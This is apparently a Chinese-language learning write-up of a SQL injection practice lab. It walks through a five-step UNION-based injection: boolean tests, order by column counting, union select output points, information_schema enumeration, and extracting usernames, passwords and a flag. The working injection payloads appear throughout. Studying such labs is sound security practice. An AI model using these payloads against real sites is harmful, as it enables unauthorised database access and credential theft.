sql注入学习

sql注入

sql注入初试牛刀练习

首先回顾一下,sql注入的本质是:“将用户输入的数据当做代码来执行”。
显错注入分为5步来执行:
1.是否存在注入点
2.猜解字段数
3.联合查询寻找输出点
4.然后去系统自带库查询表名、字段名
5.查询我们需要的字段值

下面开始靶场实践:
4.1.1显错注入Rank1
首先 写入 1 and 1=1,url将符号进行了编码,发现下方显示查询结果

sql注入学习

然后 写入 1 and 1=2,发现下方查询结果为空,说明 “and 1=2” 这个数据,变成代码执行了,造成结果为假,由此可以判断,此处存在sql注入点(此处我们完成了第一步)。

sql注入学习

现在我们开始第二步的操作,猜解字段数:
我们利用order by排序,来看是否有对应的字段,如果有,则会按照相应的字段进行排序,如果没有,则会显示错误的回显。

order by 1

sql注入学习

order by 2

sql注入学习

order by 3

sql注入学习

order by 4

sql注入学习

然后突然发现,当 order by 4 时,下面查询为空,说明当前字段数为3(这里完成了第二步了)

然后呢,通过联合查询开始寻找输出点:
通过输入 1 union select 1,2,3 来查找输出点,发现输出点就在下面。(此时第三步完成)

sql注入学习

现在开始利用MYSQL系统自带库,来进行查询库名、表名、字段名:
1 and 1=2 union select 1,2,database()

会发现自己发现了当前页面的数据库的名字 “error”。

sql注入学习

然后利用数据库的库名,来查表名。
输入:1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1

这里的话,后面需要加一下limit,并且 limit后面,2个数字之间是用逗号,不是空格间隔的

sql注入学习

在此,得到了表名user,现在开始查询相应表名的字段名
这个地方,记得表名user要加引号,不然会出错,查不到。

输入:1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name = ‘user’ and table_schema=database() limit 0,1

sql注入学习

发现目前查询的列名叫Id
尝试修改limit后面的参数 limit 1,1

1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name = ‘user’ and table_schema=database() limit 1,1

sql注入学习

在修改limit为 limit 2,1

sql注入学习

由此,我们发现了用户名和密码的字段,可以查询相应的值来进行登入了。
输入:1 and 1=2 union select 1,username,password from user

拿到用户和密码:

sql注入学习

但是!!!但是!!!题目没有要我们拿到用户名和密码啊。。。头凸
不是这个user表,是其他的表

输入:
1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

sql注入学习

咦,发现了有关error_flag的表,猜想,这个表里会不会有flag呢?
开始测试:
输入:1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ and table_schema=database() limit 0,1

sql注入学习

查询limit 1,1

sql注入学习

哦豁,发现flag了,开心。。。然后下一步,找到flag列对应的值
输入:1 and 1=2 union select 1,2,flag from error_flag limit 0,1

sql注入学习

ok了,拿到flag了,然后去提交了。

sql注入学习